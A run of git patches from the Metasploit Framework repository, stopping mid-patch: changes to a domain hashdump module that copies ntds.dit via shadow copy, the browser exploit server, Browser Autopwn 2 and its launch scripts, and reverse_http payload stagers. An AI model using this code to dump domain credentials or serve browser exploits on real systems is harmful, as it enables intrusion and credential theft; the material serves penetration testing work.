deregister_options('RHOST','SMBUser','SMBPass', 'SMBDomain') end def run From e843db78dc7f653c8e1d30a01a4cb855bbd0e11e Mon Sep 17 00:00:00 2001 From: David Maloney <DMaloney@rapid7.com> Date: Thu, 2 Jul 2015 14:46:40 -0500 Subject: [PATCH 0642/1013] put rhost option back it is needed for the wmic query that creates the shadowcopy MSP-12867 --- modules/post/windows/gather/credentials/domain_hashdump.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 6e215e80e1..a90b6d3ac1 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) - deregister_options('RHOST','SMBUser','SMBPass', 'SMBDomain') + deregister_options('SMBUser','SMBPass', 'SMBDomain') end def run @@ -144,7 +144,7 @@ class Metasploit3 < Msf::Post def vss_method location = ntds_location.dup volume = location.slice!(0,3) - id = create_shadowcopy("#{volume}\\") + id = create_shadowcopy("#{volume}") print_status "Getting Details of ShadowCopy #{id}" sc_details = get_sc_details(id) sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit" From c5c7de00918289591e0fbfdcc0320e01205c1b29 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 2 Jul 2015 14:58:43 -0500 Subject: [PATCH 0643/1013] Rework browser profiles, get back to functional mode --- .../exploit/remote/browser_exploit_server.rb | 48 ++++++++++--------- .../exploit/remote/browser_profile_manager.rb | 8 ++-- lib/msf/core/framework.rb | 8 ++++ 3 files changed, 36 insertions(+), 28 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index e5556cbc93..0f4dfc8025 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -179,7 +179,7 @@ module Msf def extract_requirements(reqs) tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)} # Make sure keys are always symbols - Hash[tmp.map{|(k,v)| [k.to_s,v]}] + Hash[tmp.map{|(k,v)| [k.to_sym,v]}] end @@ -191,8 +191,6 @@ module Msf def try_set_target(profile) match_counts = [] target_requirements = {} - profile = profile.values.first - targets.each do |t| target_requirements = extract_requirements(t.opts) if target_requirements.blank? @@ -223,7 +221,7 @@ module Msf # "{CLSID}=>Method=>Boolean;" # @return [Boolean] True if there's a bad ActiveX, otherwise false def has_bad_activex?(ax) - ax.split(';').each do |a| + ax.to_s.split(';').each do |a| bool = a.split('=>')[2] if bool == 'false' return true @@ -238,24 +236,23 @@ module Msf # @param profile [Hash] The profile to check # @return [Array] An array of requirements not met def get_bad_requirements(profile) - profile = profile.first[1] bad_reqs = [] - - @requirements.each do |k, v| + @requirements.each do |rk, v| + k = rk.to_sym expected = k != :vuln_test ? v : 'true' - vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_s]}") + vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k]}") if k == :activex - bad_reqs << k if has_bad_activex?(profile[k.to_s]) + bad_reqs << k if has_bad_activex?(profile[k]) elsif k == :vuln_test - bad_reqs << k unless profile[k.to_s].to_s == 'true' + bad_reqs << k unless profile[k].to_s == 'true' elsif v.is_a? Regexp - bad_reqs << k if profile[k.to_s] !~ v + bad_reqs << k if profile[k] !~ v elsif v.is_a? Proc - bad_reqs << k unless v.call(profile[k.to_s]) + bad_reqs << k unless v.call(profile[k]) else - bad_reqs << k if profile[k.to_s] != v + bad_reqs << k if profile[k] != v end end @@ -297,7 +294,8 @@ module Msf tag = retrieve_tag(cli, request) browser_profile[tag] ||= {} - browser_profile[tag][:source] = source.to_s + profile = browser_profile[tag] + profile[:source] = source.to_s found_ua_name = '' found_ua_ver = '' @@ -309,7 +307,7 @@ module Msf parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') vprint_status("Received sniffed browser data over POST:") vprint_line("#{parsed_body}.") - parsed_body.each { |k, v| browser_profile[tag][k.to_s] = v.first } + parsed_body.each { |k, v| profile[k.to_sym] = v.first } found_ua_name = parsed_body['ua_name'] found_ua_ver = parsed_body['ua_ver'] @@ -321,15 +319,20 @@ module Msf # Kill this to save space. fp.delete(:ua_string) fp.each do |k, v| - browser_profile[tag][k.to_s] = v + profile[k.to_sym] = v end found_ua_name = fp[:ua_name] found_ua_ver = fp[:ua_ver] end # Other detections - browser_profile[tag][:proxy] = has_proxy?(request) - browser_profile[tag][:language] = request.headers['Accept-Language'] || '' + profile[:proxy] = has_proxy?(request) + profile[:language] = request.headers['Accept-Language'] || '' + + # Basic tracking + profile[:address] = cli.peerhost + profile[:module] = self.fullname + profile[:created_at] = Time.now report_client({ :host => cli.peerhost, @@ -459,7 +462,7 @@ module Msf # # This is the information gathering stage # - unless browser_profile[retrieve_tag(cli, request)].empty? + if browser_profile[retrieve_tag(cli, request)] send_redirect(cli, get_module_resource) return end @@ -495,20 +498,19 @@ module Msf tag = retrieve_tag(cli, request) vprint_status("Serving exploit to user with tag #{tag}") profile = browser_profile[tag] - if profile.empty? + if profile.nil? print_status("Browsing directly to the exploit URL is forbidden.") send_not_found(cli) elsif profile[:tried] and datastore['Retries'] == false print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else - profile[tag][:tried] = true + profile[:tried] = true vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? - browser_info = profile.values.first - browser_info = browser_info.inject({}){|data,(k,v)| data[k.to_sym] = v; data} + browser_info = profile.dup begin method(:on_request_exploit).call(cli, request, browser_info) rescue BESException => e diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 08dd8d2d6a..23bf1fbe06 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -11,16 +11,14 @@ module Msf # # @return [Hash] def browser_profile - framework[:browser_profiles] ||= {} - framework[:browser_profiles][browser_profile_prefix] ||= {} - framework[:browser_profiles][browser_profile_prefix] + framework.browser_profiles[browser_profile_prefix] ||= {} + framework.browser_profiles[browser_profile_prefix] end # Storage backend for browser profiles # def clear_browser_profiles - framework[:browser_profiles] ||= {} - framework[:browser_profiles].delete(browser_profile_prefix) + framework.browser_profiles.delete(browser_profile_prefix) end end diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index fe54145d0d..a03932cb58 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -92,6 +92,7 @@ class Framework self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) self.uuid_db = Rex::JSONHashFile.new(::File.join(Msf::Config.config_directory, "payloads.json")) + self.browser_profiles = Hash.new # Configure the thread factory Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self) @@ -194,6 +195,12 @@ class Framework # into generated payloads. # attr_reader :uuid_db + # + # The framework instance's browser profile store. These profiles are + # generated by client-side modules and need to be shared across + # different contexts. + # + attr_reader :browser_profiles # The framework instance's db manager. The db manager # maintains the database db and handles db events @@ -251,6 +258,7 @@ protected attr_writer :plugins # :nodoc: attr_writer :db # :nodoc: attr_writer :uuid_db # :nodoc: + attr_writer :browser_profiles # :nodoc: end class FrameworkEventSubscriber From 6e31b9ef537725af6a78ba14bb2d2b07224851b2 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 2 Jul 2015 15:11:03 -0500 Subject: [PATCH 0644/1013] Initialize and rename the BES mutex --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 0f4dfc8025..5791566d65 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -107,6 +107,7 @@ module Msf if !custom_404.blank? && custom_404 !~ /^http/i raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)']) end + @bes_mutex = Mutex.new super end @@ -146,7 +147,7 @@ module Msf # # @param block [Proc] Block of code to sync def sync(&block) - (@mutex ||= Mutex.new).synchronize(&block) + @bes_mutex.synchronize(&block) end From 43d47ad83e7f47e4323055013dd3e344dfcb7e7a Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 2 Jul 2015 15:29:24 -0500 Subject: [PATCH 0645/1013] Port BAPv2 to Auxiliary --- .../exploit/remote/browser_exploit_server.rb | 12 ++++--- .../server/browser_autopwn2.rb} | 36 +++++++++---------- scripts/resource/bap_all.rc | 6 ++++ scripts/resource/bap_dryrun_only.rc | 4 +-- scripts/resource/bap_firefox_only.rc | 4 +-- scripts/resource/bap_flash_only.rc | 4 +-- scripts/resource/bap_ie_only.rc | 4 +-- 7 files changed, 39 insertions(+), 31 deletions(-) rename modules/{exploits/multi/browser/autopwn.rb => auxiliary/server/browser_autopwn2.rb} (85%) create mode 100644 scripts/resource/bap_all.rc diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 5791566d65..3c2c70b18b 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -12,6 +12,7 @@ require 'msf/core/exploit/remote/browser_profile_manager' # # The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser # exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. +# Note that this mixin is designed to be compatible with both Exploit and Auxilliary modules. # Wiki documentations about this mixin can be found here: # https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer # https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements @@ -80,15 +81,15 @@ module Msf def initialize(info={}) super - # The mixin keeps 'target' so module doesn't lose it. - @target = target + # The mixin keeps 'target' handy so module doesn't lose it. + @target = self.respond_to?(:target) ? target : nil # Requirements are conditions that the browser must have in order to be exploited. @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {}) - @info_receiver_page = rand_text_alpha(5) - @exploit_receiver_page = rand_text_alpha(6) - @noscript_receiver_page = rand_text_alpha(7) + @info_receiver_page = Rex::Text.rand_text_alpha(5) + @exploit_receiver_page = Rex::Text.rand_text_alpha(6) + @noscript_receiver_page = Rex::Text.rand_text_alpha(7) register_options( [ @@ -190,6 +191,7 @@ module Msf # # @param profile [Hash] The profile to check def try_set_target(profile) + return unless self.respond_to?(:targets) match_counts = [] target_requirements = {} targets.each do |t| diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/auxiliary/server/browser_autopwn2.rb similarity index 85% rename from modules/exploits/multi/browser/autopwn.rb rename to modules/auxiliary/server/browser_autopwn2.rb index 49113c3ecd..1a09d7f176 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -4,9 +4,7 @@ ## require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking +class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::BrowserAutopwnv2 @@ -49,16 +47,25 @@ class Metasploit3 < Msf::Exploit::Remote }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], - 'Targets' => [ [ 'Automatic', {} ] ], - 'Platform' => %w{ java linux osx solaris win android firefox }, - 'Privileged' => false, 'DisclosureDate' => "Jul 5 2015", - 'Targets' => [ [ 'Automatic', {} ] ], 'References' => [ [ 'URL', 'https://github.com/rapid7/metasploit-framework/wiki' ] ], - 'DefaultTarget' => 0)) + 'Actions' => + [ + [ 'WebServer', { + 'Description' => 'Start a bunch of modules and direct clients to appropriate exploits' + } ], + ], + 'PassiveActions' => + [ 'WebServer' ], + 'DefaultOptions' => { + # We know that most of these exploits will crash the browser, so + # set the default to run migrate right away if possible. + "InitialAutoRunScript" => "migrate -f", + }, + 'DefaultAction' => 'WebServer')) register_advanced_options(get_advanced_options, self.class) @@ -77,16 +84,6 @@ class Metasploit3 < Msf::Exploit::Remote deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') end - def setup - if datastore['PAYLOAD'] != 'windows/meterpreter/reverse_tcp' - msg = "\"set payload\" is disabled: Instead of using \"set payload\", please set PAYLOAD_[platform] " - msg << "to set a platform-specific payload, and set PAYLOAD_[platform]_LPORT " - msg << "to set a platform-specific LPORT." - raise RuntimeError, msg - end - super - end - def get_advanced_options opts = [] DEFAULT_PAYLOADS.each_pair do |platform, payload_info| @@ -102,5 +99,8 @@ class Metasploit3 < Msf::Exploit::Remote send_exploit_html(cli, serve) end + def run + exploit + end end diff --git a/scripts/resource/bap_all.rc b/scripts/resource/bap_all.rc new file mode 100644 index 0000000000..53b88fc334 --- /dev/null +++ b/scripts/resource/bap_all.rc @@ -0,0 +1,6 @@ +<ruby> +run_single("use auxiliary/server/browser_autopwn2") +run_single("set RealList true") +run_single("set VERBOSE true") +run_single("run") +</ruby> diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index 855aca5f4d..8b4d206dde 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -2,7 +2,7 @@ print_status("Starting BAP...") print_status("Exploits will not be actually served, but you will know which ones the clients might be vulnerable to.") print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks and client-specific exploit info.") -run_single("use exploit/multi/browser/autopwn") +run_single("use auxiliary/server/browser_autopwn2") run_single("set RealList true") run_single("set MaxSessions 0") @@ -13,4 +13,4 @@ run_single("set MaxSessions 0") run_single("set Content \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") run_single("run") -</ruby> \ No newline at end of file +</ruby> diff --git a/scripts/resource/bap_firefox_only.rc b/scripts/resource/bap_firefox_only.rc index e33f7813b5..d48f064d73 100644 --- a/scripts/resource/bap_firefox_only.rc +++ b/scripts/resource/bap_firefox_only.rc @@ -1,8 +1,8 @@ <ruby> print_status("Starting Browser Autopwn with Firefox-only BrowserExploitServer-based exploits.") print_status("Older Firefox exploits don't use BES, therefore will not be loaded.") -run_single("use exploit/multi/browser/autopwn") +run_single("use auxiliary/server/browser_autopwn2") run_single("set Include (mozilla_firefox|firefox)_") run_single("set RealList true") run_single("run") -</ruby> \ No newline at end of file +</ruby> diff --git a/scripts/resource/bap_flash_only.rc b/scripts/resource/bap_flash_only.rc index 4a764ee960..c7cb25d4d2 100644 --- a/scripts/resource/bap_flash_only.rc +++ b/scripts/resource/bap_flash_only.rc @@ -1,8 +1,8 @@ <ruby> print_status("Starting Browser Autopwn with Adobe Flash-only BrowserExploitServer-based exploits.") print_status("Older Adobe Flash exploits don't use BES, therefore will not be loaded.") -run_single("use exploit/multi/browser/autopwn") +run_single("use auxiliary/server/browser_autopwn2") run_single("set Include adobe_flash") run_single("set RealList true") run_single("run") -</ruby> \ No newline at end of file +</ruby> diff --git a/scripts/resource/bap_ie_only.rc b/scripts/resource/bap_ie_only.rc index 935afa0560..56840c5cbd 100644 --- a/scripts/resource/bap_ie_only.rc +++ b/scripts/resource/bap_ie_only.rc @@ -1,8 +1,8 @@ <ruby> print_status("Starting Browser Autopwn with IE-only BrowserExploitServer-based exploits.") print_status("Older IE exploits don't use BES, therefore will not be loaded.") -run_single("use exploit/multi/browser/autopwn") +run_single("use auxiliary/server/browser_autopwn2") run_single("set Include (ms\\\\d\\\\d_\\\\d+|ie)_") run_single("set RealList true") run_single("run") -</ruby> \ No newline at end of file +</ruby> From 7858d63036481f1053d58ad75387ca028fc1049f Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 2 Jul 2015 15:34:44 -0500 Subject: [PATCH 0646/1013] Typo --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 3c2c70b18b..4b7cdffbf0 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -12,7 +12,7 @@ require 'msf/core/exploit/remote/browser_profile_manager' # # The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser # exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. -# Note that this mixin is designed to be compatible with both Exploit and Auxilliary modules. +# Note that this mixin is designed to be compatible with both Exploit and Auxiliary modules. # Wiki documentations about this mixin can be found here: # https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer # https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements From 434cffa258a826052a793c8540eb6ea7911b16a3 Mon Sep 17 00:00:00 2001 From: Joshua Smith <kernelsmith@metasploit.com> Date: Thu, 2 Jul 2015 16:16:57 -0500 Subject: [PATCH 0647/1013] clean up so idiomatic ruby details --- lib/msf/ui/console/command_dispatcher/core.rb | 41 +++++++++---------- .../ui/console/command_dispatcher/core.rb | 28 ++++++------- 2 files changed, 31 insertions(+), 38 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index b0e7640e08..2733dac365 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -764,7 +764,7 @@ class Core print_line "Usage: irb" print_line print_line "Execute commands in a Ruby environment" - print @@irb_opts.usage() + print @@irb_opts.usage end # @@ -778,32 +778,29 @@ class Core # Parse the command options @@irb_opts.parse(args) do |opt, idx, val| case opt - when '-e' - expressions << val - when '-h' - cmd_irb_help - return false + when '-e' + expressions << val + when '-h' + cmd_irb_help + return false end end - if !expressions.empty? - expressions.each do |expression| - eval(expression, binding) + if expressions.empty? + print_status("Starting IRB shell...\n") + + begin + Rex::Ui::Text::IrbShell.new(binding).run + rescue + print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}") end - return - end - print_status("Starting IRB shell...\n") - - begin - Rex::Ui::Text::IrbShell.new(binding).run - rescue - print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}") - end - - # Reset tab completion - if (driver.input.supports_readline) - driver.input.reset_tab_completion + # Reset tab completion + if (driver.input.supports_readline) + driver.input.reset_tab_completion + end + else + expressions.each { |expression| eval(expression, binding) } end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 9fdb202cf8..6a249212bf 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -330,7 +330,7 @@ class Console::CommandDispatcher::Core print_line "Usage: irb" print_line print_line "Execute commands in a Ruby environment" - print @@irb_opts.usage() + print @@irb_opts.usage end # @@ -342,28 +342,24 @@ class Console::CommandDispatcher::Core # Parse the command options @@irb_opts.parse(args) do |opt, idx, val| case opt - when '-e' - expressions << val - when '-h' - cmd_irb_help - return + when '-e' + expressions << val + when '-h' + return cmd_irb_help end end session = client framework = client.framework - if !expressions.empty? - expressions.each do |expression| - eval(expression, binding) - end - return + if expressions.empty? + print_status("Starting IRB shell") + print_status("The 'client' variable holds the meterpreter client\n") + + Rex::Ui::Text::IrbShell.new(binding).run + else + expressions.each { |expression| eval(expression, binding) } end - - print_status("Starting IRB shell") - print_status("The 'client' variable holds the meterpreter client\n") - - Rex::Ui::Text::IrbShell.new(binding).run end @@set_timeouts_opts = Rex::Parser::Arguments.new( From 5c582b76ca1c821789c24a01a8f014c5655e87ea Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 3 Jul 2015 02:38:52 -0500 Subject: [PATCH 0648/1013] Resolves #4380, check for warbird template Resolves #4380. Adds a check for warbird (license verification) windows template. For reference please see: http://thisissecurity.net/2014/10/15/warbird-operation/ --- lib/msf/core/exe/segment_injector.rb | 14 ++++++++++++++ msfvenom | 6 +++--- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 203785adf6..1b03f24b2b 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -66,9 +66,23 @@ module Exe shellcode.encoded + @payload end + def is_warbird?(pe) + pattern = /\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C/ + sections = {} + pe.sections.each {|s| sections[s.name.to_s] = s} + if sections['.text'].encoded.pattern_scan(pattern).blank? + return false + end + + true + end + def generate_pe # Copy our Template into a new PE pe_orig = Metasm::PE.decode_file(template) + if is_warbird?(pe_orig) + raise RuntimeError, "The template to inject to appears to have license verification (warbird)" + end pe = pe_orig.mini_copy # Copy the headers and exports diff --git a/msfvenom b/msfvenom index 84b71ab4b9..9697d14c4f 100755 --- a/msfvenom +++ b/msfvenom @@ -274,7 +274,7 @@ if __FILE__ == $0 begin generator_opts = parse_args(ARGV) rescue MsfVenomError, Msf::OptionValidateError => e - $stderr.puts e.message + $stderr.puts "Error: #{e.message}" exit(-1) end @@ -335,7 +335,7 @@ if __FILE__ == $0 payload = venom_generator.generate_payload rescue ::Exception => e elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}") - $stderr.puts e.message + $stderr.puts "Error: #{e.message}" end # No payload generated, no point to go on @@ -350,7 +350,7 @@ if __FILE__ == $0 rescue ::Exception => e # If I can't save it, then I can't save it. I don't think it matters what error. elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}") - $stderr.puts e.message + $stderr.puts "Error: #{e.message}" end else output_stream = $stdout From 2b0f6e723d76802f534d82b1ee951a7b00ef304d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 3 Jul 2015 11:12:59 -0500 Subject: [PATCH 0649/1013] Explain the byte sequence --- lib/msf/core/exe/segment_injector.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 1b03f24b2b..11ca89853a 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -67,6 +67,12 @@ module Exe end def is_warbird?(pe) + # The byte sequence is for the following code pattern: + # .text:004136B4 mov eax, large fs:30h + # .text:004136BA sub ecx, edx + # .text:004136BC sar ecx, 1 + # .text:004136BE mov eax, [eax+0Ch] + # .text:004136C1 add eax, 0Ch pattern = /\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C/ sections = {} pe.sections.each {|s| sections[s.name.to_s] = s} From 29d45e3b189734941432f0e801740e185e8a54cf Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Fri, 3 Jul 2015 14:12:29 -0400 Subject: [PATCH 0650/1013] Pymet patch in timeout info on generate_stage --- lib/msf/core/handler/reverse_http.rb | 5 ----- modules/payloads/stages/python/meterpreter.rb | 11 ++++++++--- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 762cad028b..e4cde0528e 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -287,11 +287,6 @@ protected blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") end - blob.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") - blob.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") - blob.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") - blob.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") - resp.body = blob # Short-circuit the payload's handle_connection processing for create_session diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 597eb7233e..3cbd9e7a52 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -22,14 +22,14 @@ module Metasploit3 'Session' => Msf::Sessions::Meterpreter_Python_Python )) register_advanced_options([ - OptBool.new('PythonMeterpreterDebug', [ true, "Enable debugging for the Python meterpreter", false ]) + OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]) ], self.class) end def generate_stage(opts={}) - file = ::File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") + file = ::File.join(Msf::Config.data_directory, 'meterpreter', 'meterpreter.py') - met = ::File.open(file, "rb") {|f| + met = ::File.open(file, 'rb') {|f| f.read(f.stat.size) } @@ -37,6 +37,11 @@ module Metasploit3 met = met.sub("DEBUGGING = False", "DEBUGGING = True") end + met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") + met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") + met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") + met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") + uuid = opts[:uuid] || generate_payload_uuid bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') met = met.sub("PAYLOAD_UUID = \"\"", "PAYLOAD_UUID = \"#{bytes}\"") From fb2da00bfdf48166c84efba763413c26ca8733a4 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 4 Jul 2015 09:27:18 -0700 Subject: [PATCH 0651/1013] Fix #5662 by not generating a small uri by default --- lib/msf/core/payload/uuid/options.rb | 2 +- lib/msf/core/payload/windows/reverse_http.rb | 6 ++++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/uuid/options.rb b/lib/msf/core/payload/uuid/options.rb index f20233d031..52f749e0be 100644 --- a/lib/msf/core/payload/uuid/options.rb +++ b/lib/msf/core/payload/uuid/options.rb @@ -36,7 +36,7 @@ module Msf::Payload::UUID::Options # The URI length may not have room for an embedded UUID if len && len < URI_CHECKSUM_UUID_MIN_LEN # Throw an error if the user set a seed, but there is no room for it - if datastore['PayloadUUIDSeed'].to_s.length > 0 ||datastore['PayloadUUIDRaw'].to_s.length > 0 + if datastore['PayloadUUIDSeed'].to_s.length > 0 || datastore['PayloadUUIDRaw'].to_s.length > 0 raise ArgumentError, "A PayloadUUIDSeed or PayloadUUIDRaw value was specified, but this payload doesn't have enough room for a UUID" end return "/" + generate_uri_checksum(sum, len, prefix="") diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index f6c3e32657..884cca248a 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -46,13 +46,12 @@ module Payload::Windows::ReverseHttp ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, retry_count: datastore['StagerRetryCount'] } # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri + conf[:exitfunk] = datastore['EXITFUNC'] conf[:ua] = datastore['MeterpreterUserAgent'] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -60,6 +59,9 @@ module Payload::Windows::ReverseHttp conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + else + # Otherwise default to small URIs + conf[:url] = generate_small_uri end generate_reverse_http(conf) From 3c7298ba80a2283162e1601fdc41e54b90508af8 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 4 Jul 2015 12:38:04 -0500 Subject: [PATCH 0652/1013] Fix additional copy-pasta cases of #5662 --- lib/msf/core/payload/windows/reverse_http.rb | 2 +- lib/msf/core/payload/windows/reverse_winhttp.rb | 4 +++- lib/msf/core/payload/windows/x64/reverse_http.rb | 4 +++- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 4 +++- 4 files changed, 10 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 884cca248a..bd82f32e09 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -51,7 +51,7 @@ module Payload::Windows::ReverseHttp # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - + conf[:exitfunk] = datastore['EXITFUNC'] conf[:ua] = datastore['MeterpreterUserAgent'] conf[:proxy_host] = datastore['PayloadProxyHost'] diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 